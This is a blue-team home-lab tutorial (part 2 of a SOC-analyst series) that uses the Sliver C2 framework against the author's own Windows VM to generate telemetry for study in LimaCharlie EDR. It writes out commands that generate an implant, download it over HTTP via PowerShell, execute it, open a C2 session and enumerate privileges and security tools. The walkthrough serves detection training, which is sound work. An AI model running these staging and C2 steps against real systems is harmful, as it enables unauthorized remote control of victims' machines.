Part 2: Time for some Red-Team activities

Generating our C2 payload

First we will connect via SSH to our Ubuntu Server VM (same as shown in Part 1), from which we will initiate our "attack" to the Windows VM.
Once the connection is established, we can elevate our privileges to root and change our working directory to "sliver" which we created earlier on the Linux VM by using the following commands.

1.  sudo su 




2.  cd /opt//sliver  

Launch Sliver Server and generate the C2 payload

1. # Start the Sliver server
   
   

    sliver-server 




2. # Generate the C2 payload
   
   

    generate --http {Linux_VM_IP} --save /opt/sliver 




3. # Confirm the newly generated implant
   
   

    implants 




4. # Exit Sliver
   
   

    exit 

Next, drop the C2 payload onto the Windows VM.

1. # Access the Sliver directory
   
   

    cd /opt/sliver 




2. # Start a temporary server that hosts the C2 payload
   
   

    python3 -m http.server 80 




3. # Switch to the Windows VM and within an Administrative PowerShell console copy and paste the following command to download the C2 payload. Replace the {Linux_VM_IP} with the IP address of the Ubuntu Server and the {payload_name} with the name of the payload name we generated from Sliver.
   
   

    IWR -Uri http://{Linux_VM_IP}/{payload_name}.exe -Outfile C:\Users\User\Downloads\{payload_name}.exe 




4. At this point we can take a snapshot of the Windows VM and name it "Malware staged".

Start the Command and Control Session

Now that the payload is downloaded on the Windows VM, we will switch back to the Ubuntu Server VM SSH session and enable the Sliver HTTP server to listen for the callback.

1. First, terminate the temporary web server we used to host the payload by pressing Ctrl + C



2. # Start the Sliver server
   

    sliver-server 




3. # Start the Sliver HTTP listener
   

    http 




4. If starting the HTTP listener gives an error, rebooting the Linux VM and trying the last step again should resolve it.



5. Back to the Windows VM, and within the same administrative PowerShell we used earlier, we can now execute the file we downloaded earlier with the following command.
   
   # Run the C2 payload
   

    C:\Users\User\Downloads\{C2_implant_name}.exe 




6. Shortly after the .exe file is executed on the Windows VM, we will see a session appear on the Sliver server HTTP listener.
   
   # Verify the session in Sliver and copy the session ID
   

    sessions 




7. # Interact with the active session (paste in the session ID)
   

    use {session_ID} 

We are now interacting with the C2 session on the Windows VM. The following commands will give us some useful information about the target system.

1. # Get basic information about the system
   

    info 




2. # Find out what user the implant is running as and the privileges that user has



•  whoami 




•  getprivs 



If the implant was run with Admin rights, we'll see a few privileges that make further attack activity easier such as the "SeDebugPrivilage" and the "SeImpersonatePrivilege". If those do not appear on the list, make sure the C2_implant.exe is run from an Administrative PowerShell or Command Prompt.


3. # Identify the implant's working directory
   

    pwd 




4. # List the network connections taking place on the remote system
   

    netstat 




• Sliver highlights its own connection in green



• The rphcp.exe is the LimaCharlie EDR service



5. # List the running processes on the remote system
   

    ps -T 

Sliver's process is highlighted in green and any detected defensive tools are highlighted in red. This is how adversaries become aware of what security products are being used on a victim system.

Observing EDR Telemetry So Far

In order to observe the actions we have taken so far with the C2 payload, we'll switch into the LimaCharlie Web Interface to check out some of its features.

1. Click on "Sensors" from the left panel.



2. Click on the active Windows sensor



3. From the left panel, click on "Processes"


It is recommended to spend some time going through the process tree and the services that appear on the list. We can gain some extra information on each process by hovering over their icons.
It is extremely important for an analyst to be familiar with the common processes that appear on a healthy system. We must know what is "normal" before we can detect "abnormalities". The "Hunt Evil" poster by SANS can help us familiarize ourselves with the normal processes of a system and what they do. Additionally, we can sign up for a free account at "EchoTrail".

Processes with valid signatures (signed), are almost always harmless. However, even legitimate signed processes can sometimes be used to launch malicious code/processes. More information on this can be found at "LOLBAS".

One of the most common ways to spot unusual processes it to simply look for the ones that are not signed.

In our example, the C2 implant shows as not signed and is also active on the network.

This is how LimaCharlie helps us quickly identify the destination IP this process is communicating with.


4. Next, we will click on the "Network" tab from the left-side panel.


Similarly to the "Processes" tab, we should spend some time exploring the various connections are listed here. Additionally, we can use Ctrl + F to search for the implant's name and/or the C2 IP address.


5. Once finished reviewing the ongoing connections taking place on our Windows VM, click on the "File System" tab from the left-side menu.


Here we can browse to the location we know our C2 implant is running from.


 C:\Users\User\Downloads 




6. From here we can grab the hash of the executable in question and scan it with VirusTotal.


Since we just generated that executable, it is expected that VirusTotal will not recognize it as malicious as it has not been reported previously. VT only recognizes files that have been previously reported by other users. Therefore, "File not found" doesn't necessarily mean an executable is not malicious. In fact, if a file is suspected to be malicious but not recognized as such by VT, it could mean that the file is custom-crafted with a specific target in mind. In turn, the Traffic Light Protocol of the Indicators of Compromise and/or case would be affected.


7. Lastly, we will click on "Timeline" from the left panel. Here we can find a list of near real-time view of EDR telemetry and event logs of our Windows VM.


More information about the various EDR events can be found at the LimaCharlie docs.

We can also use the filtering function of the web interface to look for known IOCs (indicators of compromise) such as the name of our C2 implant of the IP address.

If we scroll back up we can find the moment our implant was created on the system, when it was executed, and the network connection that was created by launching it.

Furthermore, we can examine other related events that took place once the implant was launched such as "SENSITIVE_PROCESS_ACCESS" that were logged when we enumerated our privileges in an earlier step. This will be useful later when we craft our first detection rule.

Before we move on to the next part of this lab, we can spend more time familiarizing ourselves with the LimaCharlie telemetry not only with the known "bad" events, but also with the "normal" processes and connections that are happening when our Windows VM is in an Idle state.

In the next section of this lab, while still following the steps set by Eric Capuano, we will get back into the Sliver C2 session and take some more actions to generate telemetry that we will then use to craft our first threat detection rule.



Resources:

So you want to be a SOC Analyst? Part 2